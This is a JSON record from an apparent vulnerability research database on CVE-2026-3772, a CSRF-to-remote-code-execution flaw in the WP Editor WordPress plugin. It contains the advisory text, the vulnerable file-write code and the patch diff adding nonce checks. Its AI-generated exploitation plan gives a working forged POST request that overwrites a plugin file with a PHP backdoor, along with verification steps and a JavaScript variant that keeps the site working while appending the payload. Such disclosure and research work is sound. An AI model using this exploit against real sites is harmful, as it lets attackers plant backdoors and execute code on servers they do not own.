[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fls2ZLXGV1XYooMk5OywOkFZLqUByrdM5O_50ZSTW3sk":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-3772","wp-editor-cross-site-request-forgery-to-remote-code-execution-via-plugin-and-theme-file-editor","WP Editor \u003C= 1.2.9.2 - Cross-Site Request Forgery to Remote Code Execution via Plugin and Theme File Editor","The WP Editor plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2.9.2. This is due to missing nonce verification in the 'add_plugins_page' and 'add_themes_page' functions. This makes it possible for unauthenticated attackers to overwrite arbitrary plugin and theme PHP files with attacker-controlled code via a forged request, granted they can trick a site administrator into performing an action such as clicking a link.","wp-editor",null,"\u003C=1.2.9.2","1.2.9.3","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Cross-Site Request Forgery (CSRF)","2026-04-30 00:00:00","2026-05-01 11:18:50",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fb1bc4a87-d5de-4d66-9cc5-802ef11f886c?source=api-prod",1,[22,23,24,25,26,27],"classes\u002FWPEditorPlugins.php","classes\u002FWPEditorThemes.php","readme.txt","views\u002Fplugin-editor.php","views\u002Ftheme-editor.php","wpeditor.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-3772\n\n## 1. Vulnerability Summary\nThe **WP Editor** plugin (up to 1.2.9.2) is vulnerable to **Cross-Site Request Forgery (CSRF)** leading to **Remote Code Execution (RCE)**. The vulnerability exists in the plugin and theme file editor interfaces. \n\nWhile the UI views (`views\u002Fplugin-editor.php` and `views\u002Ftheme-editor.php`) include nonce fields generated via `wp_nonce_field()`, the corresponding processing logic in `WPEditorPlugins::add_plugins_page()` and `WPEditorThemes::add_themes_page()` fails to verify these nonces before writing attacker-controlled content to PHP files on the server. An unauthenticated attacker can trick a logged-in administrator into submitting a forged request that overwrites arbitrary plugin or theme files with malicious PHP code.\n\n## 2. Attack Vector Analysis\n- **Vulnerable Endpoints:** \n    - Plugin Editor: `wp-admin\u002Fplugins.php?page=wpeditor_plugin`\n    - Theme Editor: `wp-admin\u002Fthemes.php?page=wpeditor_themes`\n- **Vulnerable Parameters (POST):**\n    - `new-content`: The PHP code to be written to the file.\n    - `plugin` (for plugins): The plugin directory and filename (e.g., `wp-editor\u002Fwpeditor.php`).\n    - `file` (for plugins\u002Fthemes): The relative path to the file being edited.\n- **Authentication Level:** Administrator (requires `edit_plugins` or `edit_themes` capabilities).\n- **Preconditions:** The targeted file must be writable by the web server.\n\n## 3. Code Flow\n1. **Entry Point:** An administrator's browser is forced to send a POST request to `wp-admin\u002Fplugins.php?page=wpeditor_plugin`.\n2. **Hook Registration:** The plugin registers the menu pages which call `WPEditorPlugins::add_plugins_page` or `WPEditorThemes::add_themes_page`.\n3. **Permission Check:** Both functions check for capabilities:\n   ```php\n   \u002F\u002F classes\u002FWPEditorPlugins.php line 6\n   if ( !current_user_can( 'edit_plugins' ) ) { ... }\n   ```\n   *CSRF bypasses this check because the request is sent with the administrator's cookies.*\n4. **Processing POST Data:**\n   The function checks for `$_POST['new-content']`. Crucially, it **does not** call `wp_verify_nonce()` or `check_admin_referer()` before reaching the write logic.\n5. **Path Resolution:** \n   The plugin determines the `$real_file` path:\n   ```php\n   \u002F\u002F classes\u002FWPEditorPlugins.php lines 25-53\n   if ( isset( $_REQUEST['plugin'] ) ) { $plugin = ... }\n   if ( isset( $_REQUEST['file'] ) ) { $file = ... }\n   $real_file = WP_PLUGIN_DIR . '\u002F' . $plugin;\n   ```\n6. **File Write (Sink):**\n   The content is written directly to the filesystem:\n   ```php\n   \u002F\u002F classes\u002FWPEditorPlugins.php lines 55-68\n   if ( isset( $_POST['new-content'] ) && file_exists( $real_file ) && is_writable( $real_file ) ) {\n       $new_content = stripslashes( $_POST['new-content'] );\n       $f = fopen( $real_file, 'w+' );\n       fwrite( $f, $new_content );\n       fclose( $f );\n   }\n   ```\n\n## 4. Nonce Acquisition Strategy\n**No nonce is required.**\n\nAlthough `views\u002Fplugin-editor.php` contains:\n```php\n\u003C?php wp_nonce_field( 'edit-plugin_' . esc_attr( $data['real_file'] )); ?>\n```\nThe logic in `WPEditorPlugins.php` and `WPEditorThemes.php` **never verifies this nonce** for the `new-content` update operation. Verification is only present for the `create_plugin_new` action, which is separate from the file-saving logic.\n\n## 5. Exploitation Strategy\nThe goal is to overwrite a plugin file with a simple PHP payload that creates a secondary backdoor, ensuring the site remains functional while confirming RCE.\n\n### Step-by-Step Plan:\n1. **Target Identification:** Identify a writable file. The main plugin file `wp-editor\u002Fwpeditor.php` is a reliable target.\n2. **Payload Preparation:** Create a payload that appends a small backdoor to the file or creates a new file.\n3. **Forged Request:** Execute a POST request via the `http_request` tool (acting as the \"Administrator's browser\").\n\n### Exploit Request (CSRF Simulation):\n**URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fplugins.php?page=wpeditor_plugin`\n**Method:** `POST`\n**Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n**Body:**\n```\nplugin=wp-editor\u002Fwpeditor.php&file=wp-editor\u002Fwpeditor.php&new-content=\u003C?php %23 WP Editor Backdoor %0Afile_put_contents(ABSPATH . \"pwned.php\", \"\u003C?php phpinfo();\"); %0A%3F>\n```\n*(Note: In a real CSRF, this would be an auto-submitting HTML form. For the PoC agent, we use `http_request` with admin cookies.)*\n\n## 6. Test Data Setup\n1. **Install and Activate WP Editor:**\n   ```bash\n   wp plugin install wp-editor --version=1.2.9.2 --activate\n   ```\n2. **Ensure File Writability:**\n   ```bash\n   chmod 666 \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwp-editor\u002Fwpeditor.php\n   ```\n3. **Login as Admin:** The execution agent should have the administrator session cookies loaded.\n\n## 7. Expected Results\n- The HTTP response should be a `200 OK` (the page reloads showing the editor).\n- The plugin code in `wp-content\u002Fplugins\u002Fwp-editor\u002Fwpeditor.php` will be overwritten with the payload.\n- Upon the next page load (which triggers `wpeditor.php` as it is active), the file `pwned.php` will be created in the WordPress root.\n\n## 8. Verification Steps\n1. **Check File Content via CLI:**\n   ```bash\n   grep \"pwned.php\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwp-editor\u002Fwpeditor.php\n   ```\n2. **Verify Execution Result:**\n   ```bash\n   ls -la \u002Fvar\u002Fwww\u002Fhtml\u002Fpwned.php\n   ```\n3. **Trigger the Backdoor via HTTP:**\n   Use `http_request` to `GET \u002Fpwned.php` and check for the \"PHP Version\" string.\n\n## 9. Alternative Approaches\nIf overwriting the main plugin file crashes the site:\n1. **Target Theme:** Use the theme editor endpoint `wp-admin\u002Fthemes.php?page=wpeditor_themes` and target `style.css` (if it's being treated as PHP) or a specific theme template like `footer.php`.\n2. **Append Mode (If possible):** Since the plugin uses `w+` (truncate and write), we must provide the full content of the file if we want the site to keep working. A better PoC strategy is to read the content first via `browser_eval` or a separate `GET` request to the editor page, then POST the `original_content + payload`.\n\n**Manual Payload for \"Safe\" Overwrite:**\n```javascript\n\u002F\u002F Example browser_eval to get original content\nlet content = document.querySelector('#new-content').value;\nlet payload = content + \"\\n\u003C?php file_put_contents(ABSPATH . 'pwned.php', 'success'); ?>\";\n\u002F\u002F Then submit via fetch or form\n```","The WP Editor plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 1.2.9.2 because it fails to perform nonce verification when saving changes in the plugin and theme file editors. An attacker can trick a logged-in administrator into visiting a malicious site that submits a forged POST request, allowing the attacker to overwrite arbitrary PHP files with malicious code to achieve Remote Code Execution (RCE).","\u002F\u002F classes\u002FWPEditorPlugins.php lines 57-68\n    if ( isset( $_POST['new-content'] ) && file_exists( $real_file ) && is_writable( $real_file ) ) {\n      $new_content = stripslashes( $_POST['new-content'] );\n      if ( file_get_contents( $real_file ) === $new_content ) {\n        WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . \"] Contents are the same\" );\n      }\n      else {\n        $f = fopen( $real_file, 'w+' );\n        fwrite( $f, $new_content );\n        fclose( $f );\n        WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . \"] just wrote to $real_file\" );\n      }\n    }\n\n---\n\n\u002F\u002F classes\u002FWPEditorThemes.php lines 103-114\n    if ( isset( $_POST['new-content'] ) && file_exists( $real_file ) && is_writable( $real_file ) ) {\n      $new_content = stripslashes( $_POST['new-content'] );\n      if ( file_get_contents( $real_file ) === $new_content ) {\n        WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . \"] Contents are the same\" );\n      }\n      else {\n        $f = fopen( $real_file, 'w+' );\n        fwrite( $f, $new_content );\n        fclose( $f );\n        WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . \"] just wrote to $real_file\" );\n      }\n    }","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-editor\u002F1.2.9.2\u002Fclasses\u002FWPEditorPlugins.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-editor\u002F1.2.9.3\u002Fclasses\u002FWPEditorPlugins.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-editor\u002F1.2.9.2\u002Fclasses\u002FWPEditorPlugins.php\t2021-01-15 03:07:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-editor\u002F1.2.9.3\u002Fclasses\u002FWPEditorPlugins.php\t2026-03-11 18:49:40.000000000 +0000\n@@ -58,6 +58,10  @@\n     $real_file = WP_PLUGIN_DIR . '\u002F' . $plugin;\n     \n     if ( isset( $_POST['new-content'] ) && file_exists( $real_file ) && is_writable( $real_file ) ) {\n+      \u002F\u002F Verify nonce to prevent CSRF attacks - nonce must match the file being edited\n+      if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'edit-plugin_' . $real_file ) ) {\n+        wp_die( __( 'Security check failed. Please refresh the page and try again.', 'wp-editor' ) );\n+      }\n       $new_content = stripslashes( $_POST['new-content'] );\n       if ( file_get_contents( $real_file ) === $new_content ) {\n         WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . \"] Contents are the same\" );\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-editor\u002F1.2.9.2\u002Fclasses\u002FWPEditorThemes.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-editor\u002F1.2.9.3\u002Fclasses\u002FWPEditorThemes.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-editor\u002F1.2.9.2\u002Fclasses\u002FWPEditorThemes.php\t2021-01-15 03:07:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-editor\u002F1.2.9.3\u002Fclasses\u002FWPEditorThemes.php\t2026-03-11 18:49:40.000000000 +0000\n@@ -101,6 +101,10  @@\n     $real_file = $current_theme_root . basename( $file );\n         \n     if ( isset( $_POST['new-content'] ) && file_exists( $real_file ) && is_writable( $real_file ) ) {\n+      \u002F\u002F Verify nonce to prevent CSRF attacks - nonce must match the file being edited\n+      if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'edit-theme_' . $real_file ) ) {\n+        wp_die( __( 'Security check failed. Please refresh the page and try again.', 'wp-editor' ) );\n+      }\n       $new_content = stripslashes( $_POST['new-content'] );\n       if ( file_get_contents( $real_file ) === $new_content ) {\n         WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . \"] Contents are the same\" );","The exploit leverages a Cross-Site Request Forgery (CSRF) vulnerability to overwrite PHP files via the plugin's custom file editor. An attacker identifies a target file (like the plugin's main file at `wp-editor\u002Fwpeditor.php`) and crafts a POST request to `wp-admin\u002Fplugins.php?page=wpeditor_plugin` (or `wp-admin\u002Fthemes.php?page=wpeditor_themes`). The request includes a `new-content` parameter containing a PHP backdoor, as well as the path to the target file. Because the plugin logic fails to verify nonces for the file-writing operation, the attacker can force a logged-in administrator (with `edit_plugins` or `edit_themes` capabilities) to submit this request by tricking them into clicking a malicious link or visiting a site with an auto-submitting form. Once the file is overwritten, the attacker can execute arbitrary code by accessing the modified PHP file.","gemini-3-flash-preview","2026-05-04 17:41:55","2026-05-04 17:42:20",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","1.2.9.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-editor\u002Ftags\u002F1.2.9.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-editor.1.2.9.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-editor\u002Ftags\u002F1.2.9.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-editor.1.2.9.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-editor\u002Ftags"]